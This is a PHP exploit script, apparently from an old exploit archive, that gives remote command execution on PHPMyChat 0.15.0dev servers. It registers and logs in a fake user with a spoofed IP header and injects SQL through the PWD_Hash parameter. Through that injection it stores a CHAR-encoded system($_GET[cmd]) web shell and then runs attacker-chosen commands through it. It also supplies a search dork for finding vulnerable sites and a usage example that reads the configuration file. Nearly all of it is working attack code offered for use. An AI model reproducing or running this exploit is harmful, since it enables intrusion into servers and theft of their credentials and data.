207 lines
No EOL
6.2 KiB
PHP
207 lines
No EOL
6.2 KiB
PHP
#!/usr/bin/php -q -d short_open_tag=on
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<?
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echo "PHPMyChat 0.15.0dev \"SYS enter\" remote cmmnds xctn 0day (again)\r\n";
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echo "by rgod rgod@autistici.org\r\n";
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echo "site: http://retrogod.altervista.org\r\n\r\n";
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echo "-> works with magic_quotes_gpc=Off\r\n\r\n";
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echo "dork: intext:\"2000-2001 The phpHeaven Team\" -sourceforge\r\n\r\n";
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if ($argc<4) {
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echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
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echo "host: target server (ip/hostname)\r\n";
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echo "path: path to PHPMyChat\r\n";
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echo "cmd: a shell command\r\n";
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echo "Options:\r\n";
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echo " -p[port]: specify a port other than 80\r\n";
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echo " -P[ip:port]: specify a proxy\r\n";
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echo "Examples:\r\n";
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echo "php ".$argv[0]." localhost /phpmychat/ cat ./config/config.lib.php\r\n";
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echo "php ".$argv[0]." localhost /phpmychat/ ls -la -p81\r\n";
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echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";
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die;
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}
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# explaination:
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#
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# only modified this one:
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#
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# http://retrogod.altervista.org/phpmychat_0145_xpl.html
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#
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# actually I tested this package:
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#
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# http://prdownloads.sourceforge.net/phpmychat/phpMyChat-0.15.0-dev20050206.tgz?download
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#
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# code is no properly patched 'cause, if magic_quotes_gpc = Off, you can inject
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# an "always true" statement in PWD_Hash argument
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error_reporting(0);
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ini_set("max_execution_time",0);
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ini_set("default_socket_timeout",5);
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function quick_dump($string)
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{
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$result='';$exa='';$cont=0;
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for ($i=0; $i<=strlen($string)-1; $i++)
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{
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if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
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{$result.=" .";}
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else
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{$result.=" ".$string[$i];}
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if (strlen(dechex(ord($string[$i])))==2)
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{$exa.=" ".dechex(ord($string[$i]));}
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else
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{$exa.=" 0".dechex(ord($string[$i]));}
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$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
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}
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return $exa."\r\n".$result;
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}
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$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
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function sendpacketii($packet)
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{
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global $proxy, $host, $port, $html, $proxy_regex;
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if ($proxy=='') {
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$ock=fsockopen(gethostbyname($host),$port);
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if (!$ock) {
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echo 'No response from '.$host.':'.$port; die;
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}
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}
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else {
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$c = preg_match($proxy_regex,$proxy);
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if (!$c) {
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echo 'Not a valid proxy...';die;
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}
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$parts=explode(':',$proxy);
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echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
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$ock=fsockopen($parts[0],$parts[1]);
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if (!$ock) {
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echo 'No response from proxy...';die;
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}
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}
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fputs($ock,$packet);
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if ($proxy=='') {
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$html='';
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while (!feof($ock)) {
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$html.=fgets($ock);
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}
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}
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else {
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$html='';
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while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
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$html.=fread($ock,1);
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}
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}
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fclose($ock);
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#debug
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#echo "\r\n".$html;
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}
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function make_seed()
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{
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list($usec, $sec) = explode(' ', microtime());
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return (float) $sec + ((float) $usec * 100000);
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}
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$host=$argv[1];
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$path=$argv[2];
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$action=$argv[3];
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$cmd="";$port=80;$proxy="";
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for ($i=3; $i<=$argc-1; $i++){
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$temp=$argv[$i][0].$argv[$i][1];
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if (($temp<>"-p") and ($temp<>"-P"))
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{$cmd.=" ".$argv[$i];}
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if ($temp=="-p")
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{
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$port=str_replace("-p","",$argv[$i]);
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}
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if ($temp=="-P")
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{
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$proxy=str_replace("-P","",$argv[$i]);
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}
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}
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$cmd=urlencode($cmd);
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if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
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if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
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#step 1 -> Register, we need an online user
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srand(make_seed());
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$anumber = rand(1,99999);
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$data="FORM_SEND=1";
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$data.="&L=italian";
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$data.="&U=suntzu".$anumber;
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$data.="&pmc_password=suntzoi".$anumber;
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$data.="&FIRSTNAME=suntzu";
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$data.="&LASTNAME=suntzoi";
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$data.="&GENDER=1";
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$data.="&COUNTRY=";
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$data.="&WEBSITE=";
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$data.="&EMAIL=suntzu@suntzuuu.com";
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$data.="&SHOWEMAIL=0";
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$data.="&submit_type=Registrati";
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$packet ="POST ".$p."chat/register.php HTTP/1.0\r\n";
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$packet.="X-Forwarded-For: 127.0.0.1\r\n"; //spoof , a nice ip value for c_regusers table
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$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Content-Length: ".strlen($data)."\r\n";
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$packet.="Connection: Close\r\n";
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$packet.="Cookie: CookieLang=italian;\r\n\r\n";
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$packet.=$data;
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#debug
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#echo quick_dump($packet);
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sendpacketii($packet);
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#step 2 -> Login
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$packet ="GET ".$p."chat/loader.php?From=..%2FphpMyChat.php3&L=italian&Ver=H";
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$packet.="&U=suntzu".$anumber."&R=Default&T=1&D=10&N=20&ST=1&NT=1&PWD_Hash=".md5("suntzoi".$anumber)."&First=1 HTTP/1.1\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Connection: Close\r\n";
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$packet.="Cookie: CookieLang=italian; CookieUsername=suntzu".$anumber."; CookieRoom=Default; CookieRoomType=1\r\n\r\n";
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#debug
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#echo quick_dump($packet);
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sendpacketii($packet);
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#step 3 -> SQL Injection, let's store a shell in c_messages table
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$L="L=english";
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$U="U=SYS%20enter";
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$T ="0,"; //type
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$T.="CHAR(68,101,102,97,117,108,116),"; //room (Default)
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$T.="CHAR(83,89,83,32,101,110,116,101,114),"; //username (SYS enter)
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$T.="0,";//latin1
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$T.="9999999999,";//m_time
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$T.="1,";//address
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//message (our encoded shell -> system($_GET[cmd]);die ) ,if system() is disabled, reencode a new one with passthru() or exec()
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//u can use an unlimited number of chars for this
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$T.="CHAR(115,121,115,116,101,109,40,36,95,71,69,84,91,99,109,100,93,41,59,100,105,101))/*";
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$T="T=".urlencode($T);
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$PWD="'or'a'='a' UNION SELECT c_users.room, c_users.status, c_users.ip FROM c_users, c_reg_users WHERE 'a'='a' LIMIT 1/*";
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$PWD=urlencode($PWD);
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for ($i=0; $i<=1; $i++) //redo
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{
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srand(make_seed());
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$anumber = rand(1,99999);
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$R="R=Default".$anumber; //random, it must be different from the previous one
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$packet ="GET ".$p."chat/messagesL.php?$L&$U&$T&$R&PWD_Hash=$PWD HTTP/1.0\r\n";
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$packet.="X-Forwarded-For: suntzuuuuuuu\r\n";
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$packet.="User-Agent: Googlebot/2.1\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Connection: Close\r\n\r\n";
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#debug
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#echo quick_dump($packet);
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sendpacketii($packet);
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}
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sleep(1);
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#step 4 -> shell is passed to an eval(), so we launch commands
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$packet ="GET ".$p."chat/messagesL.php?L=english&R=Default&N=9999&T=0&U=SYS%20enter&cmd=".$cmd."&PWD_Hash=$PWD HTTP/1.0\r\n";
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$packet.="User-Agent: Googlebot/2.1\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Connection: Close\r\n\r\n";
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#debug
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#echo quick_dump($packet);
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sendpacketii($packet);
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echo $html;
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?>
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# milw0rm.com [2006-04-06]
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